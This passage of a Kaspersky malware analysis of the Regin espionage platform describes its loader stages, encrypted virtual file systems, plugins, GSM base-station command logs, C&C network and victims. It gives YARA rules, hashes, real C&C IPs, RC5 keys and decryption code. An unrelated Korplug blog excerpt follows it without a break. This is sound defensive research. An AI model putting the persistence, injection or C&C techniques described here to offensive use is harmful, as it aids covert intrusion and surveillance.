overcome size limitations. +If the first EA data block is missing, the module also tries to read the complete body of the 2nd stage from +a registry value using the key and value names from the configuration block. +The body of the second stage is encrypted with one of two algorithms that are simple variations of XOR, and +is supposed to be a PE file. The first stage loads that file in memory and calls its entry point function. +The 64-bit variant works in a slightly different way. Instead of storing the 2nd stage in the registry or extended +attributes, the attackers preferred to store it after the end of the last partition on disk. +Known filenames for the 64-bit stage 1: + system32\wsharp.dll + detected on a victim machine in Germany + system32\wshnetc.dll + detected on a victim machine in Belgium +All the stage 1 modules for 64-bit systems were signed with fake digital certificates. The two fake certificates we +identified are supposed to belong to Microsoft Corporation and Broadcom Corporation. During the infection phase, +the attackers inject a trusted CA in the certificates chain, which instructs the system to trust their signatures. +TLP: GREEN +Contact: intelreports@kaspersky.com +Here is what the hard drive of a 64-bit system infected with Regin looks like: +Interestingly, while the 32-bit Regin stage 1 runs in kernel mode, on 64-bit systems the attacker code starts in user +mode. This is perhaps due to the fact that it is more difficult to run kernel mode on modern Windows 64-bit systems. +Stage 2 + loader + 32-bit +Known MD5s: +18d4898d82fcb290dfed2a9f70d66833 +b9e4f9d32ce59e7c4daf6b237c330e25 +The second stage for 32-bit systems is implemented as a driver module. It has a configuration block encrypted in +a similar way to the first stage module. The configuration block contains the names of two system directories that +hold the encrypted third stage in their extended attributes. It also has the name of a registry value that may hold +the body of the third stage in case the EAs are missing (for computers with a FAT/FAT32-formatted system disk). +Once the encrypted third stage is read from the registry or NTFS EAs, it is decrypted using the RC5 algorithm +and a fixed 16-byte key that is hardcoded in the second stage. Then, it is decompressed using the NRV2e algorithm from the open-source UCL library. The second stage module loads the resulting binary in memory, validates that it is a valid PE file, and calls its entry point in a system thread. +The second stage also creates a marker file that can be used to identify the infected machine. Known filenames +for this marker are: + %SYSTEMROOT%\system32\nsreg1.dat + %SYSTEMROOT%\system32\bssec3.dat + %SYSTEMROOT%\system32\msrdc64.dat +These files have their timestamp set to the timestamp of the system file +%SYSTEMROOT%\system32\lsass.exe +TLP: GREEN +Contact: intelreports@kaspersky.com +The second stage has additional code for removing the startup code of Regin if signaled by the third stage. Its +configuration data contains the locations of the first three stages, including registry keys, names of the directories that hold the encrypted EAs, and the location of the initial driver. +Essentially, the second stage can remove all the Regin stages from the system, effectively cleaning the machine +and leaving only the encrypted VFS behind. +Decrypted configuration block of the second stage +Stage 2 + loader + 64-bit +Known MD5: +d446b1ed24dad48311f287f3c65aeb80 +The 64-bit version of the second stage loader is a PE DLL module, since the 64-bit bootstrap chain operates +in user mode. +Just like the first stage, it loads the encrypted body of the next stage from the end of the physical disk and +decrypts it with a hardcoded RC5 key, then decompresses it using the nrv2 algorithm from the UCL library. +After decryption and decompression, the code checks if the next stage is a Windows PE DLL module, and if it is, +it loads and executes it. +Stage 3 + 32-bit + kernel mode manager +VMEM.sys +Known MD5s: +8486ec3112e322f9f468bdea3005d7b5 +da03648948475b2d0e3e2345d7a9bbbb +On 32-bit systems, the third stage is implemented as a driver module and provides the basic functionality of +the malicious framework. It is responsible for operating the encrypted virtual file system and loading additional +plugins, and also provides several built-in plugins for the entire framework. +The module initializes the framework, sets up the plugin system and starts the actual work cycle of the malware. +It also passes execution to the plugin id 50221 that is loaded from the VFS. +TLP: GREEN +Contact: intelreports@kaspersky.com +Built-in plugins provided by this module are: +Plugin description +Core framework functionality +UCL library for compression and decompression using the nrv2 family of algorithms +RC5 encryption and decryption facilities +API for manipulating the encrypted virtual file system (VFS) +API for manipulating the encrypted virtual file system (VFS) +50225 +API for code injection and kernel-mode hooking +50215 +System information +50223 +Module notification routines +50111 +Utilities +Stage 3 + 64-bit +On 64-bit Windows systems, stage 3 is missing. Stage 2 loads the dispatcher directly from the disk and runs it. +Stage 4 (32-bit) / 3 (64-bit) + dispatcher module, +disp.dll +32-bit +Known MD5s: +1e4076caa08e41a5befc52efd74819ea +68297fde98e9c0c29cecc0ebf38bde95 +6cf5dc32e1f6959e7354e85101ec219a +885dcd517faf9fac655b8da66315462d +a1d727340158ec0af81a845abd3963c1 +64-bit +Known MD5: +de3547375fbf5f4cb4b14d53f413c503 +The dispatcher library is the user-mode core of the framework. It is loaded directly as the third stage of the 64-bit +bootstrap process, or extracted and loaded from the VFS as module 50221 as the fourth stage on 32-bit systems. +It implements a set of internal plugins: +Plugin description +Core framework functionality +UCL library for compression and decompression using the nrv2 family of algorithms +RC5 encryption and decryption facilities +TLP: GREEN +Contact: intelreports@kaspersky.com +Plugin description +API for manipulating the encrypted virtual file system (VFS) +API for manipulating the encrypted virtual file system (VFS) +File writer +Autostart installation routines +In-memory storage object +Configuration storage object +50035 +Winsock-based network transport +Network transport using packet filters +Network transport-related utilities +The dispatcher takes care of the most complicated tasks of the Regin platform, such as providing an API to +access virtual file systems, basic communications and storage functions, as well as network transport subroutines. In essence, the dispatcher is the brain that runs the entire platform. +Stage 4 + Virtual File Systems (32/64-bit) +The most interesting code from the Regin platform is stored in encrypted file storages, known as Virtual File +Systems (VFSes). +During our analysis we were able to obtain 24 VFSes from multiple victims around the world. Generally, these +have random names and can be located in several places in the infected system: +Folder on disk +File name +Description +C:\Windows\System32\config\ +SystemAudit.Evt, SystemLog. +Evt, SecurityLog.Evt, SecurityAudit.Evt, CACHE, SESSIONMGR +Old / ancient style, +still around +C:\Windows\System32\ +UsrClass.dat +Old / ancient style, +still around +C:\WINDOWS\pchealth\helpctr\Database +cdata.dat, +Old / ancient style, +still around +cdata.edb +C:\Windows\System32\config\ +UsrEvent.evt, ApplicationLog.Evt +Inside VFS, 6th stage +C:\Windows\Panther\ +setup.etl.000 +Used in a 64-bit infection +C:\Windows\System32\wbem\repository\ +INDEX2.DATA, +New style encryption, +May 2014 +OBJECTS2.DATA +C:\Windows\System32\ +dnscache.dat, mregnx.dat +displn32.dat, dmdskwk.dat, +nvwrsnu.dat, +New style encryption, +May 2014 +tapiscfg.dat +TLP: GREEN +Contact: intelreports@kaspersky.com +Each VFS has a structure that is very similar to a real disk file system such as FAT. The VFS files start with a header +that provides basic information required to operate the file system. The header is followed by the bitmap of used/ +free sectors and then by the file table. +Offset +Size +Field description +Sector size +Maximum number of sectors +Maximum number of files +Unknown +CRC32 of first seven bytes of the header with seed 0x45 +Size of the file ID field, in bytes +Number of files +maxSectors/8 +Sector usage bitmap +File table +Sectors +Files are described by file table entries: +Offset +Size +Field description +CRC32 of file contents with seed 0x27 +File size +Offset of the first sector +Size of the file ID field +File ID / Plugin ID +Each sector starts with a 32-bit integer that is the offset of the next sector of the file. +Offset of the next sector +(Sector size)*byte of file data +An example: + File record at offset 0x122, file ID 50221, offset of the first sector 0x7B13 + Sector at 0x7B13, next sector at 0x7D13 + Sector at 0x7D13, next sector at 0x7F13, + Sector at 0x7F13, next sector at 0x8113, etc. +TLP: GREEN +Contact: intelreports@kaspersky.com +Example of Regin VFS parsing +Although the structures of the file system are unencrypted, the file entries are encrypted. The encryption algorithm used is RC5, and many records are also compressed using the nrv2e algorithm from the UCL library. UCL +is an open source implementation of the proprietary NRV ( +Not Really Vanished +) compression algorithm, and +was originally used by the UPX tool. The reason why the attackers chose UCL is simple: it +s small, compact and +requires little to no additional memory for decompression. +Each VFS we encountered was encrypted with a 16 bytes key, which can vary from victim to victim. Based on +our experience, most files were however encrypted with the same key, {73 23 1F 43 93 E1 9F 2F 99 0C 17 81 +5C FF B4 01} stored in the dispatcher module or VMEM.sys kernel core. +VFS RC5 decryption key inside the dispatcher module (disp.dll) +In all, we observed about a dozen different VFS keys. +The following plugins were observed inside the VFSes we collected. These are all identified by a 16-bit number. +The plugins are referenced by these numbers; they are like filenames on a normal file system and allow the +dispatcher to easily load or reference them. +The binary modules are referenced by these numbers as plugin identifiers and usually have similar internal DLL +names; e.g., the plugin with ID +50121 + will have the internal name +50121.dll + in its export table. Compressed +binary modules are accompanied by binary files with the same ID. These files contain the size of the decompressed module and are not included in the description. +TLP: GREEN +Contact: intelreports@kaspersky.com +Known data blocks and their configuration IDs: +4 bytes, unknown +Configuration data; timestamped binary data +4 bytes, unknown +Transport list and configurations, including peer hostnames and addresses +Location of an additional +.evt + file, usually +ApplicationLog.evt +Configuration data +Configuration data +Peer encryption keys +Peer network configuration data +Packet filter configuration +4 bytes, unknown +10001 +Strings: +legspinv2.6 +WILLISCHECKv2.0 +, additional configuration data +10207 +Configuration data +10404 +Configuration data +10405 +Configuration data +10505 +1 byte; unknown +50009 +Configuration data +50013 +List of processes ( +snort.exe +wireshark.exe +rundll32.exe +, etc.) +50049 +Log of GSM base station commands. Very rare, most interesting +50079 +Location of a temporary file +50121 +Drive names +50139 +Event log provider names +50181 +Data used by network transport plugins +50185 +Plugin configuration +50227 +Plugin configuration +50233 +Process file name list (Explorer.exe, VMWareService.exe, Update.exe, Msiexec.exe, +MailService.exe, etc.) +56001 +Plugin configuration +57003 +Configuration data +Known executable modules and their plugin IDs: +Data only +Core framework functionality +3.sys + file timestamp manipulation; utilities +TLP: GREEN +Contact: intelreports@kaspersky.com +Network transport-related utilities +RC5 encryption and decryption facilities +Network transport using packet filters +ICMP network listener using raw sockets +10001 +Command-line data collection and administration tools +10105 +Utilities +10107 +User logon and impersonation, user and domain name collection +10207 +pp.dll + Keylogger and clipboard sniffer +10211 +Network share enumeration and manipulation +10309 +Pipe/mailslot backend for plugin 10207 +10405 +Timestamp conversions +10507 +Extraction from the protected storage and credential storages +11101 +Detection of process hooks, directory enumeration +11701 +Collects information about connected USB storage devices, creates storage files +20005 +Driver installation/removal routines +20027 +Collects information about sessions, installed browsers and proxy settings +20029 +Remote registry manipulation routines +20073 +Interception of system network drivers +50001 +File system data collection and manipulation +50011 +File data extraction +50013 +Searches for potentially dangerous processes by module path/name (sniffers, debuggers, etc.) +50015 +Retrieves current system time in Unix timestamp format +50017 +Time-related utilities +50019 +Sniffer using a packet filter +50025 +System information, network share enumeration and scans +50029 +Sniffer utilities +50033 +Event log hooks +50035 +Winsock-based network transport +50037 +Network transport over HTTP +50047 +Sniffer utilities +50049 +HTTP/SMTP/SMB credentials sniffer +50051 +Network transport over HTTPS +50053 +Sniffer utilities +TLP: GREEN +Contact: intelreports@kaspersky.com +50061 +Utilities +50063 +BPF filter parser +50073 +Network routing utilities +50079 +Temporary file manipulation +50081 +Network transport and configuration utilities +50097 +DNS sniffer +50101 +Extended system information; task scheduler data +50113 +Utilities +50115 +NDIS filter +50117 +Network information: connections, adapters, DNS cache, statistics +50121 +File system traversal +50123 +HTTPS server, +Microsoft-IIS/6.0 +50139 +Windows event log reader +50185 +Dumping users + password hashes (LM database) +50211 +Driver hooking and hook detection +50215 +BEEP + driver, used by the 50211 plugin +50219 +Injects plugins in processes +50221 +disp.dll + user-mode core of the framework +50223 +Module notification routines +50225 +API for code injection and kernel-mode hooking +50227 +Code injection and hooking utilities +50231 +Replication using network shares and local persistence, remote filename used: +ADMIN$\ +SYSTEM32\SVCSTAT.EXE +50233 +Plugin injection utilities +50251 +Keyboard driver hooking +50271 +Network transport over SMB (named pipes) +55001 +E-mail message extraction module +U_STARBUCKS +55011 +MS Exchange data extraction, appointment information +55007 +POP3 proxy server, used in conjunction with plugin 55001 +56001 +Winsock networking routines +The attackers can dynamically add and delete plugins inside the VFS and each victim installation has a different +set of plugins depending on the type of activity the attackers need to execute. For example, only some of the +VFSes we have seen had lateral movement modules, designed for infecting other computers in the network. +TLP: GREEN +Contact: intelreports@kaspersky.com +Unusual modules and artifacts +In this section we describe some of the most interesting findings about Regin. +Artifacts +With high-end APT groups such as the one behind Regin, mistakes are very rare. Nevertheless, they do happen. +Some of the VFSes we analyzed contain words that appear to be the respective codenames of the modules +deployed on the victim: + legspinv2.6 and LEGSPINv2.6 + WILLISCHECKv2.0 + HOPSCOTCH +Another module we found, which is a plugin type 55001.0, references U_STARBUCKS: +Finally, the word +shit + appears in many places throughout the code and modules. +TLP: GREEN +Contact: intelreports@kaspersky.com +TLP: GREEN +Contact: intelreports@kaspersky.com +GSM targeting +The most interesting aspect we have found so far regarding Regin relates to an infection of a large GSM operator. +One VFS encrypted entry we located had internal id 50049.2, and appears to be an activity log on a GSM Base +Station Controller. +From https://en.wikipedia.org/wiki/Base_station_subsystem +According to the GSM documentation (http://www.telecomabc.com/b/bsc.html): +The Base Station Controller +(BSC) is in control of and supervises a number of Base Transceiver Stations (BTS). The BSC is responsible for +the allocation of radio resources to a mobile call and for the handovers that are made between base stations +under his control. Other handovers are under the control of the MSC. +Here +s a look at the decoded Regin GSM activity log: +TLP: GREEN +Contact: intelreports@kaspersky.com +This log is about 70KB in size and contains hundreds of entries like the ones above. It also includes timestamps +that indicate exactly when the command was executed. +The entries in the log appear to contain Ericsson OSS MML (Man-Machine Language as defined by ITU-T) +commands (see https://en.wikipedia.org/wiki/Operations_support_system). +Here +s a list of some commands issued on the Base Station Controller, together with some of their timestamps: +2008-04-25 11:12:14: rxmop:moty=rxotrx; +2008-04-25 11:58:16: rxmsp:moty=rxotrx; +2008-04-25 14:37:05: rlcrp:cell=all; +2008-04-26 04:48:54: rxble:mo=rxocf-170,subord; +2008-04-26 06:16:22: rxtcp:MOty=RXOtg,cell=kst022a; +2008-04-26 10:06:03: IOSTP; +2008-04-27 03:31:57: rlstc:cell=pty013c,state=active; +2008-04-27 06:07:43: allip:acl=a2; +2008-04-28 06:27:55: dtstp:DIP=264rbl2; +2008-05-02 01:46:02: rlstp:cell=all,state=halted; +2008-05-08 06:12:48: rlmfc:cell=NGR035W,mbcchno=83&512&93&90&514&522,listtype=active; +2008-05-08 07:33:12: rlnri:cell=NGR058y,cellr=ngr058x; +2008-05-12 17:28:29: rrtpp:trapool=all. +Descriptions for the commands: +rxmop - check software version type; +rxmsp - list current call forwarding settings of the Mobile Station; +rlcrp - list off call forwarding settings for the Base Station Controller; +rxble - enable (unblock) call forwarding; +rxtcp - show the Transceiver Group of particular cell; +allip - show external alarm; +dtstp - +show Digital Path (DIP) settings (DIP is the name of the function used +for supervision of the connected PCM (Pulse Code Modulation) lines); +rlstc - activate cell(s) in the GSM network; +TLP: GREEN +Contact: intelreports@kaspersky.com +rlstp - stop cell(s) in the GSM network; +rlmfc - add frequencies to the active broadcast control channel allocation list; +rlnri - add cell neighbor; +rrtpp - show radio transmission transcoder pool details. +The log seems to contain not only the executed commands but also usernames and passwords of some engineering accounts: +sed[snip]:Alla[snip] +hed[snip]:Bag[snip] +oss:New[snip] +administrator:Adm[snip] +In total, the log indicates that commands were executed on 136 different cells. Some of the cell names include +prn021a, gzn010a, wdk004, kbl027a, etc... +. The command log we obtained covers a period of about one +month, from April 25, 2008 through May 27, 2008. It is unknown why the commands stopped in May 2008 +though; perhaps the infection was removed or the attackers achieved their objective and moved on. Another +explanation is that the attackers improved or changed the malware to stop saving logs locally and that is why +only some older logs were discovered. +Communication and C&C +The C&C mechanism implemented in Regin is extremely sophisticated and relies on communication drones +deployed by the attackers throughout the victim networks. Most victims communicate with another machine +in their own internal network through various protocols as specified in the config file. These include HTTP +and Windows network pipes. The purpose of such a complex infrastructure is to achieve two goals: (i) to give +attackers access deep into the network, potentially bypassing air gaps; and (ii) to restrict as much as possible +the traffic to the C&C. +Here +s a look at the decoded configurations:: +17.3.40.101 transport 50037 0 0 y.y.y.5:80 ; transport 50051 217.y.y.yt:443 +17.3.40.93 transport 50035 217.x.x.x:443 ; transport 50035 217.x.x.x:443 +50.103.14.80 transport 27 203.199.89.80 ; transport 50035 194.z.z.z:8080 +51.9.1.3 transport 50035 192.168.3.3:445 ; transport 50035 192.168.3.3:9322 +18.159.0.1 transport 50271 DC ; transport 50271 DC +In the above table we see configurations extracted from several victims that bridge together infected machines +in what appears to be virtual networks: 17.3.40.x, 50.103.14.x, 51.9.1.x, 18.159.0.x. One of these routes +reaches out to the +external + C&C server at 203.199.89.80. +The numbers right after the +transport + indicate the plugin that handles the communication. These are in our case: + 27 - ICMP network listener using raw sockets + 50035 - Winsock-based network transport + 50037 - Network transport over HTTP + 50051 - Network transport over HTTPS + 50271 - Network transport over SMB (named pipes) +The machines located on the border of the network act as routers, effectively connecting victims from inside +the network with C&Cs on the Internet. +After decoding all the configurations we have collected, we were able to identify the following external C&Cs. +TLP: GREEN +Contact: intelreports@kaspersky.com +C&C server IP +Location +Description +61.67.114.73 +Taichung, Taiwan +Chwbn +202.71.144.113 +Chetput, India +Chennai Network Operations (team-m.co) +203.199.89.80 +Thane, India +Internet Service Provider +194.183.237.145 +Brussels, Belgium +Perceval S.a. +One particular case includes a country in the Middle East. It was rather astonishing, so we thought it should be +mentioned. In this country all the victims we identified communicate with each other, forming a peer-to-peer +network. The P2P network includes the president +s office, a research center, an educational institution +network and a bank. +Spread across the country, these victims are all interconnected with each other. One of the victims contains a +translation drone, which has the ability to forward packets outside the country, to the C&C in India. +This represents a rather interesting command-and-control mechanism, which is guaranteed to raise little suspicion. For instance, if all commands to the president +s office are sent through the bank +s network, then all the +malicious traffic visible to the president +s office sysadmins will only be with the bank, in the same country. +TLP: GREEN +Contact: intelreports@kaspersky.com +Victim statistics +Over the past two years we have been collecting statistics on the attacks and victims of Regin. These were +aided by the fact that even after the malware is uninstalled, certain artifacts are left behind, which can help +identify an infected (but cleaned) system. For instance, we have seen several cases where the systems were +cleaned but the +msrdc64.dat + infection marker was left behind. +So far, victims of Regin have been identified in 14 countries: + Afghanistan + Indonesia + Algeria + Iran + Belgium + Kiribati + Brazil + Malaysia + Fiji + Pakistan + Germany + Russia + India + Syria +In total, we counted 27 different victims, although it should be pointed out that the definition of a victim here +refers to a full entity, including its entire network. The number of unique PCs infected with Regin is of course +much, much higher. +From the map above, Fiji and Kiribati are unusual, because we rarely see such advanced malware in such +remote, tiny countries. In particular, the victim in Kiribati is most unusual. To put this into context, Kiribati is a +small island in the Pacific with a population around 100,000. According to experts, Kiribati is probably going to +become one of the first victims of global warming, as it will be under water by 2050. (http://www.businessinsider.com/pacific-island-nation-kiribati-sinking-2014-5?op=1) +TLP: GREEN +Contact: intelreports@kaspersky.com +Attribution +Considering the complexity and cost of Regin +s development, it is likely that this operation is supported by a nation +state. While attribution remains a very difficult problem when it comes to professional attackers such as the ones +behind Regin, certain metadata extracted from the samples is still worth a look. +We have collected timestamps from samples, which are normally put automatically by the development software: +As this information could be easily altered by the developers, it is up to the reader to attempt to interpret this: as +an intentional false flag, or a non-critical indicator left by the developers. +More information about Regin is available to Kaspersky Intelligent Services + clients. Contact: intelreports@kaspersky.com +Conclusions +For more than a decade, a sophisticated group known as Regin has targeted high-profile entities around +the world with an advanced malware platform. As far as we can tell, the operation is still active, although +the malware may have been upgraded to more sophisticated versions. The most recent sample we have +seen was from a 64-bit infection. This infection was still active in the spring of 2014. +The name Regin is apparently a switched around +In Reg +, short for +In Registry +, as the malware can store its +modules in the registry. This name and the detections first appeared in anti-malware products around March +2011. +In some ways the platform reminds us of another sophisticated malware: Turla (http://securelist.com/analysis/ +publications/65545/the-epic-turla-operation/). Some similarities include the use of virtual file systems and the +deployment of communication drones to bridge networks together. Yet through their implementation, coding +methods, plugins, hiding techniques and flexibility, Regin surpasses Turla as one of the most sophisticated +attack platforms we have ever analyzed. +The ability of this group to penetrate and monitor GSM networks is perhaps the most unusual and interesting +aspect of these operations. In today +s world, we have become too dependent on cellphone networks that rely on +ancient communication protocols with little or no security available for the end user. Although all GSM networks +have mechanisms embedded that allow entities such as law enforcement to track suspects, there are other +parties which can gain this ability and then abuse it to launch other types of attacks against mobile users. +Kaspersky Lab products detect modules from the Regin platform as: Trojan.Win32.Regin.gen and Rootkit.Win32.Regin. +If you detect a Regin infection in your network, contact us at: intelservices@kaspersky.com +TLP: GREEN +Contact: intelreports@kaspersky.com +Technical appendix and indicators of compromise: +Yara rules: +rule apt_regin_vfs { +meta: +copyright = +Kaspersky Lab +description = +Rule to detect Regin VFSes +version = +last_modified = +2014-11-24 +strings: +$a1={00 02 00 08 00 08 03 F6 D7 F3 52} +$a2={00 10 F0 FF F0 FF 11 C7 7F E8 52} +$a3={00 04 00 10 00 10 03 C2 D3 1C 93} +$a4={00 04 00 10 C8 00 04 C8 93 06 D8} +condition: +($a1 at 0) or ($a2 at 0) or ($a3 at 0) or ($a4 at 0) +rule apt_regin_dispatcher_disp_dll { +meta: +copyright = +Kaspersky Lab +description = +Rule to detect Regin disp.dll dispatcher +version = +last_modified = +2014-11-24 +strings: +$mz= +$string1= +shit +$string2= +disp.dll +$string3= +255.255.255.255 +$string4= +StackWalk64 +$string5= +imagehlp.dll +condition: +($mz at 0) and (all of ($string*)) +rule apt_regin_2013_64bit_stage1 { +meta: +copyright = +Kaspersky Lab +description = +Rule to detect Regin 64 bit stage 1 loaders +version = +last_modified = +2014-11-24 +filename= +wshnetc.dll +md5= +bddf5afbea2d0eed77f2ad4e9a4f044d +filename= +wsharp.dll +md5= +c053a0a3f1edcbbfc9b51bc640e808ce +strings: +$mz= +$a1= +PRIVHEAD +$a2= +\\\\.\\PhysicalDrive%d +$a3= +ZwDeviceIoControlFile +condition: +($mz at 0) and (all of ($a*)) and filesize < 100000 +TLP: GREEN +Contact: intelreports@kaspersky.com +rule apt_regin_2011_32bit_stage1 { +meta: +copyright = +Kaspersky Lab +description = +Rule to detect Regin 32 bit stage 1 loaders +version = +last_modified = +2014-11-24 +strings: +$key1={331015EA261D38A7} +$key2={9145A98BA37617DE} +$key3={EF745F23AA67243D} +$mz= +condition: +($mz at 0) and any of ($key*) and filesize < 300000 +rule apt_regin_rc5key { +meta: +copyright = +Kaspersky Lab +description = +Rule to detect Regin RC5 decryption keys +version = +last_modified = +2014-11-24 +strings: +$key1={73 23 1F 43 93 E1 9F 2F 99 0C 17 81 5C FF B4 01} +$key2={10 19 53 2A 11 ED A3 74 3F C3 72 3F 9D 94 3D 78} +condition: +any of ($key*) +MD5s: +Stage 1 files, 32 bit: +06665b96e293b23acc80451abb413e50 +187044596bc1328efa0ed636d8aa4a5c +1c024e599ac055312a4ab75b3950040a +2c8b9d2885543d7ade3cae98225e263b +4b6b86c7fec1c574706cecedf44abded +6662c390b2bbbd291ec7987388fc75d7 +b269894f434657db2b15949641a67532 +b29ca4f22ae7b7b25f79c1d4a421139d +b505d65721bb2453d5039a389113b566 +26297dc3cd0b688de3b846983c5385e5 +ba7bb65634ce1e30c1e5415be3d1db1d +bfbe8c3ee78750c3a520480700e440f8 +d240f06e98c8d3e647cbf4d442d79475 +ffb0b9b5b610191051a7bdf0806e1e47 +Unusual stage 1 files apparently compiled from various public source codes merged with malicious code: +01c2f321b6bfdb9473c079b0797567ba +47d0e8f9d7a6429920329207a32ecc2e +744c07e886497f7b68f6f7fe57b7ab54 +db405ad775ac887a337b02ea8b07fddc +TLP: GREEN +Contact: intelreports@kaspersky.com +Stage 1, 64-bit system infection: +bddf5afbea2d0eed77f2ad4e9a4f044d +c053a0a3f1edcbbfc9b51bc640e808ce +e63422e458afdfe111bd0b87c1e9772c +Stage 2, 32 bit: +18d4898d82fcb290dfed2a9f70d66833 +b9e4f9d32ce59e7c4daf6b237c330e25 +Stage 2, 64 bit: +d446b1ed24dad48311f287f3c65aeb80 +Stage 3, 32 bit: +8486ec3112e322f9f468bdea3005d7b5 +da03648948475b2d0e3e2345d7a9bbbb +Stage 4 32 bit: +1e4076caa08e41a5befc52efd74819ea +68297fde98e9c0c29cecc0ebf38bde95 +6cf5dc32e1f6959e7354e85101ec219a +885dcd517faf9fac655b8da66315462d +a1d727340158ec0af81a845abd3963c1 +Stage 4 64 bit: +de3547375fbf5f4cb4b14d53f413c503 +Note: Stages 2,3 and 4 do not appear on infected systems as real files on disk. Hashes are provided for +research purposes only. +Registry branches used to store malware stages 2 and 3: + \REGISTRY\Machine\System\CurrentControlSet\Control\RestoreList + \REGISTRY\Machine\System\CurrentControlSet\Control\Class\{39399744-44FC-AD65-474B-E4DDF8C7FB97} + \REGISTRY\Machine\System\CurrentControlSet\Control\Class\{3F90B1B4-58E2-251E-6FFE4D38C5631A04} + \REGISTRY\Machine\System\CurrentControlSet\Control\Class\{4F20E605-9452-4787-B793D0204917CA58} + \REGISTRY\Machine\System\CurrentControlSet\Control\Class\{9B9A8ADB-8864-4BC4-8AD5B17DFDBB9F58} +C&C IPs: +61.67.114.73 +Taiwan, Province Of China Taichung Chwbn +202.71.144.113 +India Chetput Chennai Network Operations (team-m.co) +203.199.89.80 +India Thane Internet Service Provider +194.183.237.145 +Belgium Brussels Perceval S.a. +TLP: GREEN +Contact: intelreports@kaspersky.com +VFS RC5 decryption algorithm +This algorithm is used throughout the code and is referenced as RC5 in the document, although the implementation and the way the cipher is invoked is specific to Regin. +The implementation in C++ follows: +void +TLP: GREEN +RC5Decrypt(uint8_t* rc5Key, uint8_t* data, size_t len) +uint8_t +rc5_ctx_t +uint8_t* +size_t +iv[8]; +ctx; +encrypted; +encryptedLen; +rc5_init(rc5Key, 128, 20, &ctx); +memcpy(iv, data, 8); +encrypted = data + 8; +encryptedLen = len - 8; +if ( encryptedLen % 8 ) +uint8_t +ivLocal[8]; +if ( encryptedLen < 8) +memcpy(ivLocal, iv, 8); +else +memcpy(ivLocal, encrypted + encryptedLen - (encryptedLen % 8) - 8, 8); +rc5_enc(ivLocal, &ctx); +for (size_t idx = 0; idx < (encryptedLen % 8); idx++) +encrypted[idx + encryptedLen - (encryptedLen % 8)] ^= ivLocal[idx]; +if ( encryptedLen / 8 > 1 ) +for (ssize_t blockIdx = (encryptedLen / 8) - 1; blockIdx > 0; blockIdx--) +rc5_dec(encrypted + blockIdx*8, &ctx); +for (size_t idx = 0; idx < 8; idx++) +encrypted[blockIdx*8 + idx] ^= encrypted[(blockIdx-1)*8 + idx]; +if ( encryptedLen / 8 > 0 ) +rc5_dec(encrypted, &ctx); +for (size_t idx = 0; idx < 8; idx++) +encrypted[idx] ^= iv[idx]; +Contact: intelreports@kaspersky.com +Kaspersky Lab HQ +39A/3 Leningradskoe Shosse +Moscow, 125212 +Russian Federation +more contact details +Tel: +7-495-797-8700 +Fax: ++7-495-797-8709 +E-mail: info@kaspersky.com +Website: www.kaspersky.com +Korplug military targeted attacks: Afghanistan & Tajikistan +After taking a look at recent Korplug (PlugX) detections, we identified two larger scale campaigns +employing this well-known Remote Access Trojan. This blog gives an overview of the first one, related to +Afghanistan & Tajikistan. The other campaign, where the targets were a number of high-profile +organizations in Russia, will be the subject of Anton Cherepanov +s presentation at the ZeroNights +security conference in Moscow this week. +Sometimes malware used in various attacks is unique enough to identify related incidents, which makes +tracking individual botnets simpler. An example is the BlackEnergy Lite variant (also known as +BlackEnergy 3) used by a group of attackers (that was then given the name Quedagh, or Sandworm) +against targets in Ukraine and other countries. BlackEnergy Lite is clearly distinguishable from the +numerous binaries of the more common BlackEnergy 2 also circulating in-the-wild. +In other cases, attackers use more common tools for accomplishing their criminal goals. For example, the +Korplug RAT (a.k.a .PlugX) is a well-known toolkit associated with Chinese APT groups and used in a +large number of targeted attacks since 2012. For the past several weeks we have taken a closer look at a +great number of detections of this malware in many unrelated incidents. +Among these, we were able to discover several successful infections where the employed Korplug samples +were connecting to the same C&C domain. +DOMAIN: www.notebookhk.net +Updated Date: 2013-11-12 18:03:45 +Create Date: 2013-06-18 11:08:17 +Registrant Name: lee stan +Registrant Organization: lee stan +Registrant Street: xianggangdiqu +Registrant City: xianggangdiqu +Registrant State: xianggang +Registrant Postal Code: 796373 +Registrant Country: HK +Registrant Phone : +0.04375094543 +Registrant Fax: +0.04375094543 +Registrant Email:stanlee@gmail.com +Other Korplug samples were connecting to a different domain name resolving to the same IPs as +notebookhk.net: +DOMAIN: www.dicemention.com +Updated Date: 2013-11-12 18:05:33 +Create Date: 2013-09-10 14:35:11 +Registrant Name: z x +Registrant Organization: z x +Registrant Street: xianggangdiqu +Registrant City: xianggangdiqu +Registrant State: xianggang +Registrant Postal Code: 123456 +Registrant Country: HK +Registrant Phone : +0.0126324313 +Registrant Fax: +0.0126324313 +Registrant Email: 123@123.com +DOMAIN: www.abudlrasul.com +Updated Date: 2014-10-16 14:16:27 +Create Date: 2014-10-16 14:16:27 +Registrant Name: gang xin +Registrant Organization: gang xin +Registrant Street: Argentina Argentina +Registrant City: Argentina +Registrant State: Argentina +Registrant Postal Code: 647902 +Registrant Country: AR +Registrant Phone : +54.0899567089 +Registrant Fax: +54.0899567089 +Registrant Email: woffg89@yahoo.com +Taking these C&Cs as a starting point, we were able to locate a number of victims infected through various +exploit-laden spear-phishing documents and cunningly-named archives. +A table with a selection of RTF documents and RAR self-extracting archives with a .SCR extension is +shown below: +File name +English +translation +SHA1 +Situation Report about +Afghan.doc +36119221826D0290BC23371B55A8C0E6A84718DD +AGREEMENT BETWEENTHE +NATO AND AFGHANISTAN +ON THE STATUS OF NATO +FORCES IN +AFGHANISTAN.doc +A6642BC9F3425F0AB93D462002456BE231BB5646 +news.doc +51CDC273B5638E06906BCB700335E288807744B5 + 2014 +.scr +Activity plan for +military units in the +Volga region in July +2014 +EA6EE9EAB546FB9F93B75DCB650AF22A95486391 + .scr +Telephone directory +of the Ministry of +Foreign Affairs of +the Kyrgyz Republic +D297DC7D29E42E8D37C951B0B11629051EEBE9C0 +.scr +About the Center for +social adaptation of +servicemen +8E5E19EBE719EBF7F8BE4290931FFA173E658CB8 +.scr +Meeting minutes of +the General Staff of +the PRC +1F726E94B90034E7ABD148FE31EBA08774D1506F +.scr +Corrected action +plan template +A9C627AA09B8CC50A83FF2728A3978492AEB79D8 +Situation Report about +Afghan.scr +A9C627AA09B8CC50A83FF2728A3978492AEB79D8 +Military and political +situation in Islamic +Republic of +E32081C56F39EA14DFD1E449C28219D264D80B2F +04.10.2014.scr +Afghanistan (IRA) +on 04.10.2014 +Afghan Air Force.scr +.scr +E32081C56F39EA14DFD1E449C28219D264D80B2F +Action plan +1F726E94B90034E7ABD148FE31EBA08774D1506F +Some of the above-mentioned files also 